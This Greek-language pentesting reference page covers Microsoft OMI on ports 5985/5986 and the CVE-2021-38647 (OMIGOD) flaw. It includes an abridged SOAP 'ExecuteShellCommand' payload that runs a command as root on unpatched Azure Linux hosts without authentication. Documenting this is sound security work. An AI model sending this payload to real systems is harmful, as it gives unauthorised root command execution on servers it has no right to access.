5985,5986 - Pentesting OMI

Reading time: 3 minutes

Βασικές Πληροφορίες

OMI παρουσιάζεται ως ένα open-source εργαλείο από τη Microsoft, σχεδιασμένο για απομακρυσμένη διαχείριση ρυθμίσεων. Είναι ιδιαίτερα σχετικό για διακομιστές Linux στο Azure που χρησιμοποιούν υπηρεσίες όπως:

• Azure Automation
• Azure Automatic Update
• Azure Operations Management Suite
• Azure Log Analytics
• Azure Configuration Management
• Azure Diagnostics

Η διαδικασία omiengine ξεκινά και ακούει σε όλα τα interfaces ως root όταν αυτές οι υπηρεσίες ενεργοποιούνται.

Προεπιλεγμένες θύρες που χρησιμοποιούνται είναι 5985 (http) και 5986 (https).

CVE-2021-38647 Ευπάθεια

Όπως παρατηρήθηκε στις 16 Σεπτεμβρίου, οι διακομιστές Linux που αναπτύχθηκαν στο Azure με τις αναφερόμενες υπηρεσίες είναι ευάλωτοι λόγω μιας ευάλωτης έκδοσης του OMI. Αυτή η ευπάθεια έγκειται στη διαχείριση μηνυμάτων από τον διακομιστή OMI μέσω του endpoint /wsman χωρίς να απαιτείται ένα Authentication header, εξουσιοδοτώντας λανθασμένα τον πελάτη.

Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό στέλνοντας ένα "ExecuteShellCommand" SOAP payload χωρίς ένα Authentication header, αναγκάζοντας τον διακομιστή να εκτελέσει εντολές με δικαιώματα root.

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>

Για περισσότερες πληροφορίες σχετικά με αυτό το CVE ελέγξτε αυτό.

Αναφορές

• https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/
• https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/